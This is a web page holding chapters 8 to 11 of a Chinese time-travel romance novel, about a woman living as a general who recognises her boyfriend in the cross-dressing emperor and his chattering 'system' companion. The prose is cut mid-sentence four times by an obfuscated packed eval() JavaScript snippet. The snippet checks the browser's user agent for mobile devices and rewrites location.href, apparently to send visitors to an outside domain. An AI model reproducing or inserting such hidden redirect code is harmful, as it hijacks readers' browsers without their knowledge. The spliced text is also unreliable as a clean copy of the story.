d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128234|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲建在,一个哥哥一个弟弟都还算兄友弟恭,还有个舅舅看起来颇为面善。 通过只言片语的试探后,季桐清楚了原身父亲已经不在人世,但大姨二姨和两位叔叔迎接她的时候倒还恭敬有加。 剩下大部分都是些关系不太熟络的人和小辈,也不需要上前攀谈。 些许客套话后,季桐终于把人都支开,回了自己能休息的西院。 躺上柔软舒适的大床,季桐感慨,这终于像人过的日子了。 侯府各处布置都颇为奢靡华贵,但偏偏她住的西院朴实素雅不少,可能是原身的爱好使然。 而且季桐很明显感觉到原身跟侯府里的人都不太亲近,即使是血缘关系最亲的这几个说话之间都带着一些隔阂。 他们,有些怕自己,但又想亲近自己。 书内对季家描写的并不多,但无时无刻不在透露出朝堂上过半权势都掌握在季家,所以季家起码表面上一定是和谐统一的,并且今天见的这些亲眷官职一定不低。 该死的,别人穿书都有前情提要,怎么搁她这儿没有啊! 兹——兹,兹—— 又来了,该死的电流声。 打仗那几天格外频繁,反正周围也嘈杂的很,都快听习惯了。 季桐拍了拍自己的太阳穴,这安静环境下,电流声格外清晰,让人有些烦躁。 咚咚咚。 雕花木门被敲响,外面响起丫鬟清脆的通报声:“禀侯爷,制书到府,请速正服!” 哈? 皇帝这个时候传旨是要干嘛? 她望了一眼天色,这天黑的月亮都快挂上去了。 季桐外裳都没披,匆忙开了门,外面站了不止一个丫鬟,后面还跟了两三个侍从。 丫鬟进屋就立马从左室柜内端出了侯爵朝服,伺候她穿戴整齐。 左右各占一个人,一个给她束发戴冠,一个给她配带腰间配饰。 动作之麻利,季桐看得眼花。 一切妥当之后,季桐即刻出了西院,府中属官、仆役已经按职位高低列队,伏于甬道两侧,安安静静,到了前厅,眼见府中亲眷也已经跪迎圣旨,季桐也下跪道:“臣季止邪,恭请圣安!” 宣旨太监终于打开了圣旨,“奉天承运皇帝制曰: 朕惟乾坤定鼎,海宇升平,仗勋臣而戡乱。大将军、豫温侯季止邪,夙承天眷,久秉节钺,大破北狄,斩首虏万级,大邑帜扬于铁门关。朕心嘉悦,无以复加,特颁殊恩! 晋封尔为大司马大将军,位列三公之上,总领天下兵马。赐黄金五千斤、白玉璧十双、御马百匹。赐尚方宝剑,许‘剑履上殿,入朝不趋’。赐龙凤旌旗十二对,出巡用之,官民避道。 封尔兄长季海清为保定侯,弟弟季鸿源为安定侯。 钦此!” 这对吗。 这……不对吧! 封赏这么多除了捧杀这个可能性,对皇帝发展能又有什么好处呢,她明明记得书里没这个步骤,难道是她看漏了,还是真就是一笔带过了? 她不会真穿的是同人文吧?女皇不谈恋爱改杀疯了? 季桐心里还在吐槽着,但身体已经很实诚地拜谢:“臣蒙皇上圣恩,虽肝脑涂地,不足报万一!谢皇上!” 8. 第八章 宣旨太监与季桐寒暄了几句,又道除此之外,明日早朝后皇上邀请季大将军去太极殿后的勤政阁议事。 一旁的季海清皱着眉问:“为何是勤政阁不是勤政殿?公公可是传错话了?” 宣旨太监笑了声,“没错,是阁,皇上看重大将军,不与大将军在外殿相见可是皇上敬重大将军呢。” 季桐脑子一转就明白了。 勤政殿是皇帝批折子的地方,勤政阁则是后方连着皇帝寝宫的地方,非皇亲国戚不可进。 季桐又谢了恩,表示自己一定会到,宣旨太监才恭维着离开了豫温侯府。 季海清和季鸿源都一脸忧愁,似乎想与季桐谈点什么。 季桐抬手止住,面上淡淡的,“天色已晚,早些歇息,明日还有早朝。” 笑话。 虽然两兄弟长得皮相都挺好的,季桐不介意多看两眼饱饱眼福,但她连府里人都没搞清楚哪张脸对应哪个名字,聊起天来露馅怎么办。 还好季止邪这个人本身孤傲冷僻,不然可难办。 季桐回到西院住房,摒退下人,回忆了一下小说里跟季止邪有关的事,他虽然性子冷,但对周围人很好,礼待下属,是个好将军。 而且这囚禁皇帝强迫生子这种大不逆的事,他的亲人朋友都帮了不少的忙,可见亲戚朋友间关系良好。 只是现在情况已经变得跟小说里两模两样了,她有点慌。 她封赏都这么多的话,她底下的两个副将应该也都有封赏。 季桐叹了口气,不像好事,像断头饭。 月色朦胧,外面繁星勾着云层,窗外一只鸟从灌木丛飞过,她听到了翅膀扑棱的声音。 忽然想到爸妈常说,这种天会下雨。 季桐揉了揉枕头,进入梦乡。 —— 季桐已经快一个月没照过镜子了。 只有穿来那两天照过镜子,还认真梳过发髻,然后——然后就再也懒得照镜子了,早起洗漱完就一把扎好头发,或者晚上睡觉连头发都懒得拆开。 就跟上班上久了懒得化妆是一个道理。 而且后来战场上情况瞬息万变,压根不允许她有多余的时间看自己一眼。 现在天刚蒙蒙亮,季桐就已经站在一面等人高的铜镜前,伸展双臂,任何丫鬟们整理衣物,挂好配饰。 窗外的草木都挂着一些水气,昨夜确实下过雨,不过这会儿外面石子路上已经是青一块儿白一块儿的了。 季桐正服加身,腰间束以玄色丝绦,衬得腰身劲瘦如弓弦。 果然是人靠衣装马靠鞍,昨夜接旨接的匆忙穿好衣服也没来得及照一照镜子,现在看来自己还是穿朝服更好看。 剑眉斜飞入鬓,眉目深邃,唇薄如刃。 季桐很满意。 “大将军启程——!”随着亲卫齐声高喊,她坐上了驷马安车。 马车直抵宫门。 既然皇帝给了她特权,不用就是浪费,马车能开到门口一定要开到门口。 能坐着绝不站着,能坐马车绝不自己骑马,能自动挡绝不手动挡。 古代的早朝比她想象中有意思,不过写不写实倒是不一定。 毕竟这只是书中世界。 季桐还是带着一种不真实的脱离感,她不敢抛开这种感觉,她必须认定这个世界里的人都是NPC,不然她没有办法那么心安理得地去杀人,去战斗。 直到她真正站在朝堂上那一刻,她表情有些龟裂。 她下意识抬头看皇帝的长相,但又想起古代直视君上不礼貌,她又低下了头。 低下头的那一瞬间,她感到哪里不对劲。 她又抬头看了一眼。 皇帝容色清丽弱柳扶风——这没问题,她早知道这本书的皇帝是女扮男装。 可,怎么感觉气质不像个女人,倒是有些熟悉。 ? 季桐低下头,又再次抬起头,觉得可能是自己打开的方式不对,她知道为什么熟悉了,这个人怎么感觉有些像自己男朋友?! 虽然容貌并不十分相似,身形也瘦弱了许多,但他坐在那里,就让人无端端地觉得像他! 而且,颅内电流声更大了。 高坐在朝堂之上龙椅之中的秦笙不自觉地调整了一下坐姿。 因为一旁的系统吵得他脑子嗡嗡响。 456正在不停地叫嚣:【快去勾引他!!!让他无意中发现你是女的!不要让他造反啊!!!!球球了!我的业绩!我的种田文!】 “如果我不呢。”秦笙面无表情地在心中冷哼着回了句。 456:【呜呜呜球球了——】 秦笙阴沉着脸,目光锁定在威麟大将军的脸上,心里泛起一丝疑惑。 这人一直抬头低头干什么。 早朝并没有其他大事,基本上除了嘉赏就是嘉赏,围绕着凯旋回朝这事说来说去。 御史大夫领衔奏:“陛下圣明,大将军神武,大邑之福!” 文武百官依次道贺。 季桐偷偷翻了个白眼。 御史大夫就是她哥季海清,这亲兄弟在朝堂上带头道贺未免显得也太装了。 直到道贺声渐稀,季桐始终神色平静,只是微微拱手,向众人致意。 下了朝,季桐依命到了太极殿后的勤政阁外。 皇帝还未传召,季桐耐心在外等着,掌事太监端来了一张椅子,让她先坐。 经过早朝的阿谀奉承,现在的季桐大概知道了朝堂上的势力划分,其实很简单,就是皇帝派大概十分之三,中立派十分之三,站季家的十分之四。 这个数量,想反简直是易如反掌,怪不得皇帝拿她原身一点办法都没有。 “传大将军进见!” 终于听到了传召,季桐进了勤政阁。 勤政阁不是很大,外厅空无一人,于是季桐往右进了书房。 踏进书房的那一刻,季桐耳朵微动。 她听到了一些不同寻常的声音,夹杂着电流声。 “喂喂喂!我说真的,你晾人家十几分钟做什么?小心以后吃不完的苦!” “456你长点心吧,我不晾他十几分钟,怕是真的要上房揭瓦了。” “我不管,上头的任务已经发放下来了,做任务!任务发布:手指触碰!奖励积分10点!” “……不做会怎么样?” “会死!哼!” 一个像机械音,一个……像她男朋友。 不。 不是像,就是他。 她再近了一步,电流声消失了。 这些话也消失了。 房间内静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128235|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得落针可闻。 季桐看了一眼正在批折子的皇帝,规矩地行了个礼,“微臣叩见皇上。” “起来吧。”皇帝的声音如同刚刚在朝堂之上一样温和,像是青少年的男子,又像是沙哑的女子。 并不是她刚刚听到的声音。 她抬头谢恩,“谢皇上——” 刚抬头就看见一只不知道是什么的鬼玩意儿飞在皇帝旁边,白花花的棉花团子? 季桐眉头微皱,谢恩的话说完就卡了壳,嘴巴微张。 不是。这什么? 皇帝的奇妙宠物吗?这难道还是个玄幻文吗??还是说,这是系统? “季大将军?”皇帝挑眉。 “咳,不知皇上传召微臣有何要事?”季桐起身。 沉默,长久的沉默。 然后棉花团子头顶蹦出了一个对话框,同时,棉花团子说话了:“摸他!”是那个机械音。 “不想死就把你嘴给闭上。”是她男朋友的声音。 皇帝表面看起来稳如泰山,实际上季桐还是感觉到了对方面部表情有些咬牙切齿,与刚刚的声音衔接的正好。 季桐心里嗤笑了一声。 呵呵,有意思。 不给她系统,还让她听了一个月的电流声是吧。 不玩死你我不姓季。 “赐座。”皇帝招了招手,门外站着的掌事太监又将外面的椅子搬了进来。 “谢皇上。”季桐面带微笑。 她敢保证,秦笙一定没认出她,自从穿过来之后她就有意识地改掉了一些身体上的小习惯,生活习惯都尽量往季止邪原身靠拢。 可秦笙没有。 怪不得朝堂上遥遥一望,季桐就觉得十分眼熟。 “皇上您还没说,传召微臣是有什么事吗?” “是这样,西南有匪患,虽然规模不大,但时间久了难免捅出篓子来。”秦笙整理了一下桌案上的折子,“朕本意是让你的侄子季伦去治理,但他上奏说近日来身体欠佳,不知将军可有合适人选?” “自然是有,依微臣看,骠骑将军林明远就很合适。” “会不会有些杀鸡用牛刀了?” “为皇上分忧,凡事不分大小,只要能为皇上尽心都是臣子的福气。”季桐冠冕堂皇地回着。 这些小事其实根本不需要过问臣子,皇帝自己安排了就行。 看来真的是因为这个系统他才会传召她。 季桐一想到这就来气。 她在外面风吹日晒血流成河的打仗,这人居然在皇宫里享受生活。 也行,就让林明远跑一趟,现在是秦笙还不知道面前的人是谁,保不齐会忌惮,这样秦笙也能放下一些防备。 眼见秦笙桌案上的砚台要干了,书房伺候的太监又在门外候着。 季桐顺势起身上前,拿起那方砚在砚台里磨起墨来,“皇上,墨干了。” 秦笙下意识地想伸手拂开,“不必,怎可劳烦大将军研墨,这种事让下人做就——” 秦笙话没来得及说完,季桐的手就覆在了他的手背上。 肌肤相触,那只手温度灼人,常年征战的手心带着茧,有些粗糙,掌心很大,完完全全盖住了他的手。 秦笙的心在狂跳。 他抬眼对上了季桐微微带笑的双眼。 9. 第九章 456:【任务完成!奖励积分10点!】 秦笙猛地抽回手。 “大将军手生,还是让下人来研墨吧。”秦笙音色清冷,充满了距离感,跟季桐以前听到的感觉完全不一样。 以前是秦笙再怎么古板也都是温柔的。 “是。”季桐低着头拘礼,“微臣研墨的机会甚少,才会疏忽,冒犯皇上,罪不可赦,请皇上恕罪。” 在秦笙看不见的角度,季桐嘴角难以抑制地抽动。 秦笙却惊魂未定,他在面前这人的眼睛中看到了熟悉的感觉,不知道是因为原主的记忆,还是因为刚刚那个眼神。 456:【就是这个味儿!原文的配角CP果然容易产生感情羁绊啊!】 “滚!!!” 季桐听到了秦笙内心那一声巨大的怒音,更高兴了。 “皇上既无事,那微臣告退。” “嗯,退下吧。”秦笙没工夫思考其他的,连连摆手。 季桐倒退了几步,正要在书房门槛处转身离开时,脑子里的电流声又响起了。 与之对应的,那团棉花团子的声音和秦笙内心的声音也听不见了。 季桐抬眼一看,那团棉花团子的身影也消失不见。 怪不得朝堂上时她什么也没发现。 原来是有距离限制,看这个样子,估计是四五米开外就完全断联。 秦笙见对方站在原地看他,问:“爱卿可还有什么事?” 季桐“哦”了一声,嘴角微微上扬道:“皇上的手微臣刚刚摸着有些起皮,应当是秋来天气干燥上火了,微臣从边塞带了些上好的菊花茶回来,明日就着人全部送进宫,还望皇上喜欢。” 季桐明显感觉到对方呼吸一窒,像是想骂人,又像是被噎到说不出话。 片刻后,她听到秦笙长吁了口气。 “爱卿有心了。” “臣告退。”季桐终于憋着笑转身离开。 —— 从勤政阁出来时已经快中午了,天却暗沉沉的。 季桐坐上马车回味着,刚刚见秦笙的时候比朝堂上近很多,近到能看清纤长的睫毛,穿着龙袍,却像是一个没有完全长成男人的青年,身型瘦弱。 她从来没有见过这样的秦笙,变成女人的秦笙。 以前她跟秦笙刚在一起感情特别好的时候,她问过他一个问题。 “下辈子我是男孩子的话,你还会爱我吗?” 秦笙笑着答:“我很直的,如果你要做男孩子,那我下辈子当女孩子好了。” 等到在一起时间久了,大概在他们已经谈恋爱五六年的时候,她因为看耽美小说看的正起劲,又问了一次这个问题。 秦笙搂着她的腰,沉默地没有回答。 她自觉无趣,就扒拉开他的手,自己回家了。 现在想来嘛,那股子古板劲劲儿的感觉倒是跟以前一样。 外面突然噼里啪啦下起大雨,季桐掀开马车帘子,望着外面如豆点大的的雨。 青草芬芳的味道渗入鼻息,衬得空气清新,让人浑身清爽。 她很喜欢下雨,在家里时妈妈总是在下雨天给她做最爱吃的红烧排骨,吹着窗外雨天自然带进来的凉风,吃着热气腾腾的饭菜,不管是看电视打游戏还是睡觉,都是一种享受。 在外面打仗的时候没时间也没机会胡思乱想,一回京城就控制不住,见了秦笙后更难受。 在这个世界,她不是孤身一人,还能有人跟她一样,会想回家。 季桐突然鼻子一酸,不知道如何将这种感觉憋回去。 兹——兹兹——兹—— 草。 憋回去了。 煞笔秦笙和他的系统又在背后说她了是吧! 这电流声还能不能修复一下了! —— 456在秦笙的桌案前扭得像条蛆:【嘿嘿嘿,大将军好关心你,还要给你带菊花茶!】 “他最好是。” 秦笙眉头皱得都能夹死苍蝇了。 他其实不想与季家为敌,毕竟季家世代忠良,打起仗来也是个顶个的好手,他一向对忠君爱国的将士带有滤镜,如果不是现在他面临被强制爱的风险,他真的会好好对待季家。 跟原文一样不可能的。 但也不能让季家与皇家撕破脸,再次战火纷争的话系统拉他这个穿书的进来就白拉了。 完成不了任务他也回不去,他与季桐也无法复活。 系统的目的是让男女主好好进行种田文的家长里短,所以只要背景不发生大的变故其实都能接受。 只要他能制衡住季家,那自己既不用被强制爱,也能完成大背景国泰民安的任务。 不过现在的问题是,这个季大将军一系列行为与原著差别很大,首先是刻意收敛了锋芒,然后又是在没有发现皇帝是女身之前就开始示好。 秦笙思索着问456:“你说,有没有可能这个季止邪也是穿书者?” 456猛猛摇头:【不可能!绝对不可能!这就跟玩游戏一样,有没有可能是你的操作不一样,才打出了不一样的效果呢,原著皇帝就没有大肆选秀啊。而且人们是不能随随便便穿越的,肯定是要配齐系统的,不然算是bug,我们要被扣工资的。】 456非常肯定地继续道:【而且这个世界只派了我一个系统,所以放心吧!肯定不是。】 “且信你一回。” —— 夜色拢起,季桐躺在床上翻来覆去睡不着。 她坐起身来,喊了一声,“雀明,现在什么时辰了?” 雀明是她的近卫,原文中提到过。也是今天她才知道,雀明就是之前替她更衣的那个丫鬟。 季桐穿书以来都行事谨慎,即使很多东西不清楚,也尽量不让其他人看出来。 但雀明是除了原身每次出去打仗之外就一直陪伴在原身身侧的人,起码十年了。且这姑娘看着年轻,实际上已经在侯府管事两年多了。 雀明虽然带有一丝疑惑,但从不多嘴,毕竟才打了一个月仗回来,性情稍有些细微变化也是情理之中。 “侯爷,现在才子时。”雀明撩起珠帘,看了一眼主子。 “哦,没事,你先下去吧。”季桐又躺下了。 躺了一个小时后,季桐又无声地骂了八百次脏话。 天杀的,这两个人到底有什么交流不完的话,她脑子里一直“兹兹兹”地响。 季桐再次坐了起来。 “雀明!” 她受不了了,之前是不知道原因,现在都知道是谁在自己脑子里放电流了,那忍不了一点儿。 就像是楼上装修,当你不知道是哪家哪户时你可以忍,当你知道的时候,那必然是要上门问候两句。 雀明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128236|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次掀开珠帘,一脸无辜,“侯爷,有什么要吩咐的吗?” “更衣,备车。”季桐挂着两个黑眼圈。 “这么晚了,主子这是要去哪儿啊?”雀明面露担忧。 “进宫。”季桐脸黑的吓人,带着淡淡的死气,“面圣。” “啊……这。”雀明挑眉,嘴角微微抽动,“这不好吧,侯爷,现在宫门都落锁了。” 她心里打了个颤,生怕侯爷是半夜突发奇想要造反,那可是杀头诛九族的大罪,再怎么说也得有了万全之策,再谋定而后动啊。 季桐看着她的面庞,仿佛看到了以前自己当牛马社畜的时候,每当老板提出一些奇思妙想的时候,她都微笑得很勉强,雀明不仅笑得勉强,还眼角带着哭丧之意。 季桐不解,但神色稍缓,宽慰了她几句,“别担心,确实是有要事需要进宫面圣。” 找人算账,可不是顶要紧的事吗。 只是进宫面圣而已,有必要这么害怕吗。 雀明的工作效率很高,确定了主子确实需要进宫之后,就立马着人备好了马车,光速翻出了朝服替她更衣。 将季桐送上马车后,雀明掩面不舍道:“侯爷一路安好。” …… 感觉像是在咒人。 —— 宫门虽然早已落锁,但季桐这个身份,想去的地方就没有不能去的。 一路通报之下,季桐已经想好了面圣的理由,这小说原文她是在手机上看过前半部分的,后来又在秦笙车上听了中间大部分,她记性好,这个时间,再过两天京城就会出现时疫,要不了一周就会传染进宫里。 她是一路从边塞回来的,听说了时疫的源点在哪儿再合理不过。 她迈着大步子,风风火火地踏进了勤政阁。 耳边终于得了清静。 秦笙已经穿好了衣服,只是发髻还有些凌乱,端坐在书房内。 “叩见皇上。”季桐利落地半跪行礼。 “起来吧。”秦笙面上波澜不惊,神色一如往常般看不出喜怒,让人猜不透心思,语气平淡着问:“爱卿有何要事?” 他以前也是这样,待人接物都是充满了距离感。 季桐起身。 456:【任务任务!做任务!你往旁边挪一挪啊,不然怎么磕到手臂。】 秦笙:【这任务不是时限三天吗,你急什么。】 456:【那不是正好大将军过来了嘛!】 秦笙:【我还想问你呢,他半夜过来干什么?】 456:【又不是我干的!他自己想过来的!】 秦笙内心的声音听起来有些愠怒,还有些无可奈何,这是季桐以往没有听过的。 以前的秦笙除了他们刚在一起的时候表现出过一些害羞,就再没有多余的情绪,只是温柔待她,她说什么就是什么,从不反驳。 是个完美男友,也像个假人。 “皇上恕罪,实在是事态紧急!”季桐低着头,“微臣回来路过青州时,听说了州外出现了很多人因为风寒卧病在床,且十余天都不见好,传染性还很强——” 勤政阁门外响起脚步声,一个老嬷嬷走了进来,“参见皇上,太后听说了皇上夜半会见大将军,担心皇上身子,特意让奴婢带了绿豆莲子粥来。” 季桐偏头,这是正在谈论政事,还是在半夜,这姑姑怎么会…… 10. 第十章 “魏姑姑。”秦笙敲了敲桌角,随意吩咐了声,“放这儿吧。” 魏姑姑又行了个礼,温声道:“皇上,太后娘娘说,这绿豆莲子粥趁热喝最好,秋里夜里天儿凉,皇上不喝太后会怪罪奴婢的。” 秦笙眉头微皱。 原主的母亲未免管得太多了。 秦笙手缓缓伸向那碗粥,心里却还在找理由。 季桐快步上前,“素来听闻太后宫里粥食做的最好,不知微臣可否有幸一尝?” 魏姑姑面色难看,置于身前的双手指间交叉纠结得快要拧出麻花了,却碍于形式不敢挪动一步。 眼看秦笙一手已经摸到碗沿,季桐手覆上去硬接了过来,心说力气大就是好。 秦笙不得已起身,却又被季桐一个转身给踉跄地站不稳,手腕磕在了桌角上,顿时泛起乌青。 “哎呀!”季桐忙去查看,手里的绿豆莲子粥一松,摔在了地上。 这一切只在三秒内发生,谁也没料到,魏姑姑吓得脸色苍白,立马跪地,袖子遮了遮地上的残羹,忙不迭道:“奴婢这就清扫。” “魏姑姑是太后的贴身婢女,怎可劳烦姑姑。”季桐将她拉起来,“碎瓷片伤手,还是着太监们来清扫吧。” 季桐将这块地空出来后又给足了面子功夫:“皇上恕罪,微臣见皇上推诿以为皇上不喜食绿豆粥这才要了过来,害皇上磕伤实在是万死难辞其咎。” 秦笙揉着手腕,道了句“无妨”,眼睛却顺着季桐的目光看向了地上的残羹。 绿豆莲子粥在地板上泛起了一些微小的气泡。 456:【我靠!不会有毒吧!】 秦笙:【你但凡有点用也不至于一点用都没有!】 这个棉花团子吓得缩成一团,哦,本来就是一团,只是体型明显变小了。 季桐蹲下,毫不客气地将魏姑姑头上的素银簪抽了下来,贴到地上残羹里一试,果然变黑了。她立即喊道:“这绿豆莲子粥有毒!” “禁卫!护驾!”季桐一脚踹开魏姑姑,“将此人带下去!” 禁卫来得很快,勤政阁的掌事太监也来得很快,随着太监一声惊呼,哭喊着的魏姑姑被禁卫军反剪了双手,拖行出了勤政阁的书房。 “大将军!大将军救我!” “这都是为了您啊大将军!” …… 魏姑姑哭天喊地的求救声没有人理会。 在场的所有人都知道什么该说什么不该说,是不是栽赃去狱里一审便知。 “王德海,翠兰何在?”秦笙问掌事太监。 “回皇上,翠兰被太后叫去了,说是抄录佛经的人手不够。” “知道了,下去吧。”秦笙语气平淡,“今夜的事暂且不要惊动太后。” “是。” 季桐在门外离的不远,听到了秦笙内心发出了一声冷哼。 秦笙:【456你怎么不讲话了?】 456:【大将军好凶……害怕不行吗?】 秦笙:【哪里凶了。】 秦笙望着季大将军的背影,人正站在门口处理相关事宜,吩咐了加强巡逻又安排了审问的人。 月色之下背影如松,侧脸锋锐,让他想到了很多历史上的名将。 这一瞬间,秦笙懂了救驾有功的含金量。 生于现代和平年代的他欣赏这样的人,也崇拜这样的人。 作为皇帝,谁会不想要这样的金卡,某些皇帝氪金都抽不到。 456:【喂喂,宿主,你在看什么呢?我噼里啪啦讲半天了你也不听。】 秦笙:【哦,那你说了什么?】 456:【任务啊任务,之前任务不是说了嘛,让大将军为你包扎手臂,奖励10积分呢~虽然你磕到的是手腕,但是也差不多吧,应该不用再磕一次手臂了。】 秦笙:【那你们这个判定还挺宽泛的。】 456:【不是,判定标准其实是行为逻辑能为剧情做推动就能成功,而且任务也不是我下的,系统自动发的,不要瞪着我QAQ】 秦笙:【……算了。】 季桐听在耳里,想起之前系统说的不做任务会死。 如果是真的,她愿意帮他,好歹相好了几年,总不至于看着对方当场去世。 而且积分这种东西不应该是越多越好吗,秦笙怎么一点都不积极,虽然秦笙的钱不是她的钱,但秦笙的积分可以是她的。 456:【不能算了!】 秦笙:【他又不是太医!请太医过来不行吗?】 456:【不行啊!宿主你忘了你现在是女的啊,只有锡太医能把脉,其他太医来了会看出端倪的!】 秦笙:【那锡太医呢?!】 456:【今晚他不值班啊。】 季桐默默安排完了所有事宜,回到了书房,“请皇上稍坐片刻——” “不用请太医了。”秦笙立马打断了她讲话,“只是淤青而已,明日朕会传太医来看。” “是。”季桐应下,“只是皇上龙体不宜久拖,微臣略懂一些包扎,虽然医术不精但这种小伤还可帮上一二。” 不等秦笙反驳,季桐叫了一声:“王德海,取勤政阁的医药匣来。” 王德海应下,立即翻找出了勤政阁备用的医药匣奉上,季桐摆了摆手,让他退下。 所有宫人被摒退,门也被关上。 整个房间都回到了夜色下的寂静。 季桐打开匣子,取出活血化瘀的药膏,拿银片擓了些出来,自然地拽过秦笙的手臂。 “不用,朕自己来。”秦笙脸上写满了抗拒,伸手想要拂开对方,奈何纹丝不动。 “皇上龙体要紧,还是微臣来吧。” 季桐将秦笙的手腕按在桌案上,将药膏轻轻敷在碰伤的地方,她抬眼看秦笙,脸上没有一点波动。 【嘶——】冰凉的膏体触碰到淤青处,不疼是假的。 季桐听到了他内心的痛呼声,嘴角微勾。 原来是有反应的。 秦笙坐在龙椅内,身子往靠近她的这一方偏斜着,手臂瘫在桌案上,因为临时的会见朝臣连发髻都没有梳好,垂落了几缕发丝,显得人比白天时柔婉许多。 只是细看下来,眉毛修长,鼻子挺拔,加上气质沉稳倒是真有几分男相。 季桐慢悠悠地擦完药膏,敷上布条,终于合上了药匣子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128237|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【你说,不会那毒真是大将军下的吧,不会现在就想毒死你吧,那岂不是比之前翻脸的还快,他这么早就想造反的话,宿主怎么办啊?】 这会儿456缓过了劲,往秦笙旁边凑了凑。 秦笙:【如果他真想毒死我,为什么还要替我接了粥?】 随即秦笙又觉得跟这个笨蛋小白团解释根本没用,于是又加了一句:【少猜些有的没的,你还是猜一下明天早膳吃什么吧。】 456立马跳起来:【今天早上没有八宝甜鸭,明天应该会有!】 …… 季桐低着头翻了个白眼,将药匣放回了原位。 “皇上今日受惊了,晚上早些歇息,不宜多思。此事涉及微臣,审讯一事的人选但凭皇上定夺,微臣绝不牵涉其中。” 秦笙抬了抬手,示意对方起身,“爱卿言重。先前爱卿提到过的时疫一事朕也已经明了,你也早些回去休息吧。” “是。”季桐行着礼,“微臣告退。” 可刚踏出门没走几步,电流声又响了。 季桐握拳。 她深吸一口气,又回到了门内。 456:【你说那粥不可能真是太后派人送的吧,按理说服侍太后的人都是千挑万选上来的,而且还是常年服侍太后的魏姑姑。不过我觉得嘛——哎!大将军又回来了!】 秦笙诧异地抬头。 季桐:“皇上,别看折子了,夜里伤眼睛。” 秦笙眨了眨眼,僵硬地点头。 季桐再次转身出去。 电流声再次响起。 季桐握拳,捏的骨头咔吧作响。 月光照在她的官服衣摆上,微风吹过,带来了一丝凉意。 她将衣袍下摆狠狠一甩,又毅然决然地走回了书房。 当场一个滑跪:“皇上恕罪!” 【嗯所以我会做一些试探——不是,他怎么又回来了?!】 秦笙皱着眉,头微微后仰,“爱卿,还有何要事……” “皇上,夜深露重,且已经将近卯时,再回去怕是来不及上朝,耽误了更是对不起皇恩,可否让微臣留宿在赤庆阁一晚?” 季桐想的很完美,来时听说赤庆阁离勤政阁很近,只要秦笙同意,她就能想办法跟勤政阁守夜的小太监换个班,直接在勤政阁旁边廊下一睡,再也没有电流声,稍微隔得有些距离,他们唠嗑声音也小。 现在回去根本就赶不上早朝,今天早上过来上班花了两小时通勤,上朝时间是九点半,虽然早朝也就开了不到一个小时,其实还算轻松,但搁家里六七点就得起来,在宫里歇还能多睡两个小时。 岂不美哉。 456:【我靠!这大将军真不对劲吧!】 秦笙:【我说什么来着,根本不像本土人士,你确定你那玩意儿不会出bug?这大将军不会是穿越的或者重生的吧?】 456:【啊这,我真的有点不确定了QAQ我去主系统那里仔细问问吧!我去了我去了,宿主,靠你自己了!】 …… 看着半跪在前方的威麟大将军,他忽然觉得压力有点大。 秦笙仰了仰身子,淡淡地吐出两个字:“准奏。” 11. 第十一章 季桐如愿跟廊下守夜的小全子换了班。 这事不难,只要跟勤政阁的掌事太监王德海说清楚,再换上一身太监服,没人会仔细去看廊下守夜的小太监样貌。 “哎哟,大将军,您这是何苦呢,这夜里露重,在廊下守夜可是最容易感染风寒的。”王德海还在劝。 “今夜的情况光是禁卫守着我不放心,万一还有行刺之事,伤了皇上龙体,那才是罪该万死。”季桐将守夜的棉被裹了裹,“再说了,我这身子骨还不如小全子不成?” “那哪儿能啊。”王德海擦了擦汗,“辛苦大将军了,大将军忠心真是天地可鉴,那奴才就退下了。” “去吧去吧。”季桐挥了挥手,安心偏靠在廊柱处,裹进被子中,心说终于能睡个安稳觉了。 —— 夜沉如水。 勤政阁寝殿的窗户,廊下的她,天上的月光,正好能构成三点一线,除了外面巡逻侍卫的脚步声和衣物甲片碰撞的细碎声,也还算安静。 季桐这一觉睡的还算安稳,毕竟在外打仗的时候也时常没得好觉睡,裹地铺不是什么大事。 她又梦到了一些以前的事,迷迷糊糊间醒来,有些怀念现代的柔软大床,微微睁眼看着天还未大亮,又闭上了双眼往墙边蹭了蹭,有些硌头皮。 【喂喂喂!宿主你真中奖了!】 【什么中奖,别吵,困死了。】 他们的声音隔着窗户传到她耳边,虽然声音不大,却也足够能听清楚。 他们怎么又开始了……天还没完全亮吧。 